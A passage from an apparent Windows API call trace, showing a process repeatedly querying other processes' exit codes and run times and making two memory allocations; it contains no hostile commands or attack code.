lpExitTime=0xc00016cba8, lpKernelTime=0xc00016cbb0, lpUserTime=0xc00016cbb8) returned 1 [0131.228] CloseHandle (hObject=0x144) returned 1 [0131.228] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x614) returned 0x144 [0131.229] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.229] CloseHandle (hObject=0x144) returned 1 [0131.229] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x614) returned 0x144 [0131.229] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cbc0, lpExitTime=0xc00016cbc8, lpKernelTime=0xc00016cbd0, lpUserTime=0xc00016cbd8 | out: lpCreationTime=0xc00016cbc0, lpExitTime=0xc00016cbc8, lpKernelTime=0xc00016cbd0, lpUserTime=0xc00016cbd8) returned 1 [0131.229] CloseHandle (hObject=0x144) returned 1 [0131.230] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x778) returned 0x144 [0131.230] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.230] CloseHandle (hObject=0x144) returned 1 [0131.230] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x778) returned 0x144 [0131.231] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cbe0, lpExitTime=0xc00016cbe8, lpKernelTime=0xc00016cbf0, lpUserTime=0xc00016cbf8 | out: lpCreationTime=0xc00016cbe0, lpExitTime=0xc00016cbe8, lpKernelTime=0xc00016cbf0, lpUserTime=0xc00016cbf8) returned 1 [0131.232] CloseHandle (hObject=0x144) returned 1 [0131.232] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x7bc) returned 0x144 [0131.232] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.233] CloseHandle (hObject=0x144) returned 1 [0131.233] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x7bc) returned 0x144 [0131.233] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cc00, lpExitTime=0xc00016cc08, lpKernelTime=0xc00016cc10, lpUserTime=0xc00016cc18 | out: lpCreationTime=0xc00016cc00, lpExitTime=0xc00016cc08, lpKernelTime=0xc00016cc10, lpUserTime=0xc00016cc18) returned 1 [0131.233] CloseHandle (hObject=0x144) returned 1 [0131.234] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x7c0) returned 0x144 [0131.234] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.234] CloseHandle (hObject=0x144) returned 1 [0131.234] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x7c0) returned 0x144 [0131.234] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cc20, lpExitTime=0xc00016cc28, lpKernelTime=0xc00016cc30, lpUserTime=0xc00016cc38 | out: lpCreationTime=0xc00016cc20, lpExitTime=0xc00016cc28, lpKernelTime=0xc00016cc30, lpUserTime=0xc00016cc38) returned 1 [0131.235] CloseHandle (hObject=0x144) returned 1 [0131.235] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x804) returned 0x144 [0131.235] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.235] CloseHandle (hObject=0x144) returned 1 [0131.235] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x804) returned 0x144 [0131.235] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cc40, lpExitTime=0xc00016cc48, lpKernelTime=0xc00016cc50, lpUserTime=0xc00016cc58 | out: lpCreationTime=0xc00016cc40, lpExitTime=0xc00016cc48, lpKernelTime=0xc00016cc50, lpUserTime=0xc00016cc58) returned 1 [0131.235] CloseHandle (hObject=0x144) returned 1 [0131.236] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x818) returned 0x144 [0131.236] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.236] CloseHandle (hObject=0x144) returned 1 [0131.236] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x818) returned 0x144 [0131.236] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cc60, lpExitTime=0xc00016cc68, lpKernelTime=0xc00016cc70, lpUserTime=0xc00016cc78 | out: lpCreationTime=0xc00016cc60, lpExitTime=0xc00016cc68, lpKernelTime=0xc00016cc70, lpUserTime=0xc00016cc78) returned 1 [0131.236] CloseHandle (hObject=0x144) returned 1 [0131.236] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x82c) returned 0x144 [0131.237] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.237] CloseHandle (hObject=0x144) returned 1 [0131.237] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x82c) returned 0x144 [0131.237] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cc80, lpExitTime=0xc00016cc88, lpKernelTime=0xc00016cc90, lpUserTime=0xc00016cc98 | out: lpCreationTime=0xc00016cc80, lpExitTime=0xc00016cc88, lpKernelTime=0xc00016cc90, lpUserTime=0xc00016cc98) returned 1 [0131.237] CloseHandle (hObject=0x144) returned 1 [0131.258] VirtualAlloc (lpAddress=0xc0001c0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c0000 [0131.259] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x838) returned 0x144 [0131.259] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.260] CloseHandle (hObject=0x144) returned 1 [0131.260] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x838) returned 0x144 [0131.260] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cca0, lpExitTime=0xc00016cca8, lpKernelTime=0xc00016ccb0, lpUserTime=0xc00016ccb8 | out: lpCreationTime=0xc00016cca0, lpExitTime=0xc00016cca8, lpKernelTime=0xc00016ccb0, lpUserTime=0xc00016ccb8) returned 1 [0131.260] CloseHandle (hObject=0x144) returned 1 [0131.260] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x844) returned 0x144 [0131.260] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.260] CloseHandle (hObject=0x144) returned 1 [0131.260] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x844) returned 0x144 [0131.261] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ccc0, lpExitTime=0xc00016ccc8, lpKernelTime=0xc00016ccd0, lpUserTime=0xc00016ccd8 | out: lpCreationTime=0xc00016ccc0, lpExitTime=0xc00016ccc8, lpKernelTime=0xc00016ccd0, lpUserTime=0xc00016ccd8) returned 1 [0131.261] CloseHandle (hObject=0x144) returned 1 [0131.261] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x84c) returned 0x144 [0131.261] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.261] CloseHandle (hObject=0x144) returned 1 [0131.261] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x84c) returned 0x144 [0131.261] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cce0, lpExitTime=0xc00016cce8, lpKernelTime=0xc00016ccf0, lpUserTime=0xc00016ccf8 | out: lpCreationTime=0xc00016cce0, lpExitTime=0xc00016cce8, lpKernelTime=0xc00016ccf0, lpUserTime=0xc00016ccf8) returned 1 [0131.262] CloseHandle (hObject=0x144) returned 1 [0131.262] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8c8) returned 0x144 [0131.262] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.262] CloseHandle (hObject=0x144) returned 1 [0131.262] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8c8) returned 0x144 [0131.262] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cd00, lpExitTime=0xc00016cd08, lpKernelTime=0xc00016cd10, lpUserTime=0xc00016cd18 | out: lpCreationTime=0xc00016cd00, lpExitTime=0xc00016cd08, lpKernelTime=0xc00016cd10, lpUserTime=0xc00016cd18) returned 1 [0131.262] CloseHandle (hObject=0x144) returned 1 [0131.263] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8d0) returned 0x144 [0131.263] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.263] CloseHandle (hObject=0x144) returned 1 [0131.263] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8d0) returned 0x144 [0131.263] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cd20, lpExitTime=0xc00016cd28, lpKernelTime=0xc00016cd30, lpUserTime=0xc00016cd38 | out: lpCreationTime=0xc00016cd20, lpExitTime=0xc00016cd28, lpKernelTime=0xc00016cd30, lpUserTime=0xc00016cd38) returned 1 [0131.263] CloseHandle (hObject=0x144) returned 1 [0131.264] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8d8) returned 0x144 [0131.264] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.264] CloseHandle (hObject=0x144) returned 1 [0131.264] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8d8) returned 0x144 [0131.267] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cd40, lpExitTime=0xc00016cd48, lpKernelTime=0xc00016cd50, lpUserTime=0xc00016cd58 | out: lpCreationTime=0xc00016cd40, lpExitTime=0xc00016cd48, lpKernelTime=0xc00016cd50, lpUserTime=0xc00016cd58) returned 1 [0131.267] CloseHandle (hObject=0x144) returned 1 [0131.267] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8e0) returned 0x144 [0131.267] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.268] CloseHandle (hObject=0x144) returned 1 [0131.268] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x8e0) returned 0x144 [0131.268] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cd60, lpExitTime=0xc00016cd68, lpKernelTime=0xc00016cd70, lpUserTime=0xc00016cd78 | out: lpCreationTime=0xc00016cd60, lpExitTime=0xc00016cd68, lpKernelTime=0xc00016cd70, lpUserTime=0xc00016cd78) returned 1 [0131.268] CloseHandle (hObject=0x144) returned 1 [0131.268] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x900) returned 0x144 [0131.268] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.268] CloseHandle (hObject=0x144) returned 1 [0131.269] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x900) returned 0x144 [0131.269] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cd80, lpExitTime=0xc00016cd88, lpKernelTime=0xc00016cd90, lpUserTime=0xc00016cd98 | out: lpCreationTime=0xc00016cd80, lpExitTime=0xc00016cd88, lpKernelTime=0xc00016cd90, lpUserTime=0xc00016cd98) returned 1 [0131.270] CloseHandle (hObject=0x144) returned 1 [0131.270] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x908) returned 0x144 [0131.270] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.270] CloseHandle (hObject=0x144) returned 1 [0131.270] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x908) returned 0x144 [0131.270] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cda0, lpExitTime=0xc00016cda8, lpKernelTime=0xc00016cdb0, lpUserTime=0xc00016cdb8 | out: lpCreationTime=0xc00016cda0, lpExitTime=0xc00016cda8, lpKernelTime=0xc00016cdb0, lpUserTime=0xc00016cdb8) returned 1 [0131.271] CloseHandle (hObject=0x144) returned 1 [0131.271] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x90c) returned 0x144 [0131.271] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.271] CloseHandle (hObject=0x144) returned 1 [0131.271] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x90c) returned 0x144 [0131.271] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cdc0, lpExitTime=0xc00016cdc8, lpKernelTime=0xc00016cdd0, lpUserTime=0xc00016cdd8 | out: lpCreationTime=0xc00016cdc0, lpExitTime=0xc00016cdc8, lpKernelTime=0xc00016cdd0, lpUserTime=0xc00016cdd8) returned 1 [0131.271] CloseHandle (hObject=0x144) returned 1 [0131.271] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x910) returned 0x144 [0131.272] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.272] CloseHandle (hObject=0x144) returned 1 [0131.272] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x910) returned 0x144 [0131.272] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cde0, lpExitTime=0xc00016cde8, lpKernelTime=0xc00016cdf0, lpUserTime=0xc00016cdf8 | out: lpCreationTime=0xc00016cde0, lpExitTime=0xc00016cde8, lpKernelTime=0xc00016cdf0, lpUserTime=0xc00016cdf8) returned 1 [0131.273] CloseHandle (hObject=0x144) returned 1 [0131.273] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x91c) returned 0x144 [0131.273] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.273] CloseHandle (hObject=0x144) returned 1 [0131.273] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x91c) returned 0x144 [0131.273] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ce00, lpExitTime=0xc00016ce08, lpKernelTime=0xc00016ce10, lpUserTime=0xc00016ce18 | out: lpCreationTime=0xc00016ce00, lpExitTime=0xc00016ce08, lpKernelTime=0xc00016ce10, lpUserTime=0xc00016ce18) returned 1 [0131.273] CloseHandle (hObject=0x144) returned 1 [0131.274] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x924) returned 0x144 [0131.274] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.274] CloseHandle (hObject=0x144) returned 1 [0131.274] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x924) returned 0x144 [0131.274] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ce20, lpExitTime=0xc00016ce28, lpKernelTime=0xc00016ce30, lpUserTime=0xc00016ce38 | out: lpCreationTime=0xc00016ce20, lpExitTime=0xc00016ce28, lpKernelTime=0xc00016ce30, lpUserTime=0xc00016ce38) returned 1 [0131.274] CloseHandle (hObject=0x144) returned 1 [0131.274] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x92c) returned 0x144 [0131.275] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.275] CloseHandle (hObject=0x144) returned 1 [0131.275] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x92c) returned 0x144 [0131.275] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ce40, lpExitTime=0xc00016ce48, lpKernelTime=0xc00016ce50, lpUserTime=0xc00016ce58 | out: lpCreationTime=0xc00016ce40, lpExitTime=0xc00016ce48, lpKernelTime=0xc00016ce50, lpUserTime=0xc00016ce58) returned 1 [0131.276] CloseHandle (hObject=0x144) returned 1 [0131.276] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x934) returned 0x144 [0131.276] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.276] CloseHandle (hObject=0x144) returned 1 [0131.276] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x934) returned 0x144 [0131.276] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ce60, lpExitTime=0xc00016ce68, lpKernelTime=0xc00016ce70, lpUserTime=0xc00016ce78 | out: lpCreationTime=0xc00016ce60, lpExitTime=0xc00016ce68, lpKernelTime=0xc00016ce70, lpUserTime=0xc00016ce78) returned 1 [0131.276] CloseHandle (hObject=0x144) returned 1 [0131.277] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x93c) returned 0x144 [0131.277] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.277] CloseHandle (hObject=0x144) returned 1 [0131.277] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x93c) returned 0x144 [0131.277] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016ce80, lpExitTime=0xc00016ce88, lpKernelTime=0xc00016ce90, lpUserTime=0xc00016ce98 | out: lpCreationTime=0xc00016ce80, lpExitTime=0xc00016ce88, lpKernelTime=0xc00016ce90, lpUserTime=0xc00016ce98) returned 1 [0131.277] CloseHandle (hObject=0x144) returned 1 [0131.277] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x944) returned 0x144 [0131.278] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.278] CloseHandle (hObject=0x144) returned 1 [0131.278] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x944) returned 0x144 [0131.278] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cea0, lpExitTime=0xc00016cea8, lpKernelTime=0xc00016ceb0, lpUserTime=0xc00016ceb8 | out: lpCreationTime=0xc00016cea0, lpExitTime=0xc00016cea8, lpKernelTime=0xc00016ceb0, lpUserTime=0xc00016ceb8) returned 1 [0131.279] CloseHandle (hObject=0x144) returned 1 [0131.279] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x94c) returned 0x144 [0131.279] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.279] CloseHandle (hObject=0x144) returned 1 [0131.279] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x94c) returned 0x144 [0131.279] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cec0, lpExitTime=0xc00016cec8, lpKernelTime=0xc00016ced0, lpUserTime=0xc00016ced8 | out: lpCreationTime=0xc00016cec0, lpExitTime=0xc00016cec8, lpKernelTime=0xc00016ced0, lpUserTime=0xc00016ced8) returned 1 [0131.280] CloseHandle (hObject=0x144) returned 1 [0131.280] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x954) returned 0x144 [0131.280] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.280] CloseHandle (hObject=0x144) returned 1 [0131.281] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x954) returned 0x144 [0131.281] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cee0, lpExitTime=0xc00016cee8, lpKernelTime=0xc00016cef0, lpUserTime=0xc00016cef8 | out: lpCreationTime=0xc00016cee0, lpExitTime=0xc00016cee8, lpKernelTime=0xc00016cef0, lpUserTime=0xc00016cef8) returned 1 [0131.281] CloseHandle (hObject=0x144) returned 1 [0131.281] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x970) returned 0x144 [0131.281] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.282] CloseHandle (hObject=0x144) returned 1 [0131.282] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x970) returned 0x144 [0131.283] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cf00, lpExitTime=0xc00016cf08, lpKernelTime=0xc00016cf10, lpUserTime=0xc00016cf18 | out: lpCreationTime=0xc00016cf00, lpExitTime=0xc00016cf08, lpKernelTime=0xc00016cf10, lpUserTime=0xc00016cf18) returned 1 [0131.283] CloseHandle (hObject=0x144) returned 1 [0131.283] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x97c) returned 0x144 [0131.283] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.283] CloseHandle (hObject=0x144) returned 1 [0131.283] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x97c) returned 0x144 [0131.284] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cf20, lpExitTime=0xc00016cf28, lpKernelTime=0xc00016cf30, lpUserTime=0xc00016cf38 | out: lpCreationTime=0xc00016cf20, lpExitTime=0xc00016cf28, lpKernelTime=0xc00016cf30, lpUserTime=0xc00016cf38) returned 1 [0131.284] CloseHandle (hObject=0x144) returned 1 [0131.285] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x988) returned 0x144 [0131.285] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.285] CloseHandle (hObject=0x144) returned 1 [0131.285] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x988) returned 0x144 [0131.285] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cf40, lpExitTime=0xc00016cf48, lpKernelTime=0xc00016cf50, lpUserTime=0xc00016cf58 | out: lpCreationTime=0xc00016cf40, lpExitTime=0xc00016cf48, lpKernelTime=0xc00016cf50, lpUserTime=0xc00016cf58) returned 1 [0131.285] CloseHandle (hObject=0x144) returned 1 [0131.286] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x994) returned 0x144 [0131.286] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.286] CloseHandle (hObject=0x144) returned 1 [0131.286] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x994) returned 0x144 [0131.286] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cf60, lpExitTime=0xc00016cf68, lpKernelTime=0xc00016cf70, lpUserTime=0xc00016cf78 | out: lpCreationTime=0xc00016cf60, lpExitTime=0xc00016cf68, lpKernelTime=0xc00016cf70, lpUserTime=0xc00016cf78) returned 1 [0131.286] CloseHandle (hObject=0x144) returned 1 [0131.286] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9a0) returned 0x144 [0131.287] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.287] CloseHandle (hObject=0x144) returned 1 [0131.287] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9a0) returned 0x144 [0131.287] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cf80, lpExitTime=0xc00016cf88, lpKernelTime=0xc00016cf90, lpUserTime=0xc00016cf98 | out: lpCreationTime=0xc00016cf80, lpExitTime=0xc00016cf88, lpKernelTime=0xc00016cf90, lpUserTime=0xc00016cf98) returned 1 [0131.287] CloseHandle (hObject=0x144) returned 1 [0131.287] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9ac) returned 0x144 [0131.287] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.288] CloseHandle (hObject=0x144) returned 1 [0131.288] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9ac) returned 0x144 [0131.288] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cfa0, lpExitTime=0xc00016cfa8, lpKernelTime=0xc00016cfb0, lpUserTime=0xc00016cfb8 | out: lpCreationTime=0xc00016cfa0, lpExitTime=0xc00016cfa8, lpKernelTime=0xc00016cfb0, lpUserTime=0xc00016cfb8) returned 1 [0131.288] CloseHandle (hObject=0x144) returned 1 [0131.288] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9b8) returned 0x144 [0131.288] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.289] CloseHandle (hObject=0x144) returned 1 [0131.289] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x9b8) returned 0x144 [0131.289] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cfc0, lpExitTime=0xc00016cfc8, lpKernelTime=0xc00016cfd0, lpUserTime=0xc00016cfd8 | out: lpCreationTime=0xc00016cfc0, lpExitTime=0xc00016cfc8, lpKernelTime=0xc00016cfd0, lpUserTime=0xc00016cfd8) returned 1 [0131.289] CloseHandle (hObject=0x144) returned 1 [0131.289] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb60) returned 0x144 [0131.289] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.289] CloseHandle (hObject=0x144) returned 1 [0131.290] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb60) returned 0x144 [0131.290] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016cfe0, lpExitTime=0xc00016cfe8, lpKernelTime=0xc00016cff0, lpUserTime=0xc00016cff8 | out: lpCreationTime=0xc00016cfe0, lpExitTime=0xc00016cfe8, lpKernelTime=0xc00016cff0, lpUserTime=0xc00016cff8) returned 1 [0131.290] CloseHandle (hObject=0x144) returned 1 [0131.290] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb68) returned 0x144 [0131.290] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.290] CloseHandle (hObject=0x144) returned 1 [0131.291] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb68) returned 0x144 [0131.291] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d000, lpExitTime=0xc00016d008, lpKernelTime=0xc00016d010, lpUserTime=0xc00016d018 | out: lpCreationTime=0xc00016d000, lpExitTime=0xc00016d008, lpKernelTime=0xc00016d010, lpUserTime=0xc00016d018) returned 1 [0131.291] CloseHandle (hObject=0x144) returned 1 [0131.291] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb70) returned 0x144 [0131.291] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.291] CloseHandle (hObject=0x144) returned 1 [0131.292] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb70) returned 0x144 [0131.292] GetProcessTimes (in: hProcess=0x144, lpCreationTime=0xc00016d020, lpExitTime=0xc00016d028, lpKernelTime=0xc00016d030, lpUserTime=0xc00016d038 | out: lpCreationTime=0xc00016d020, lpExitTime=0xc00016d028, lpKernelTime=0xc00016d030, lpUserTime=0xc00016d038) returned 1 [0131.292] CloseHandle (hObject=0x144) returned 1 [0131.292] VirtualAlloc (lpAddress=0xc0001c2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c2000 [0131.293] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0xb78) returned 0x144 [0131.293] GetExitCodeProcess (in: hProcess=0x144, lpExitCode=0xc00019fa64 | out: lpExitCode=0xc00019fa64*=0x103) returned 1 [0131.293] CloseHandle 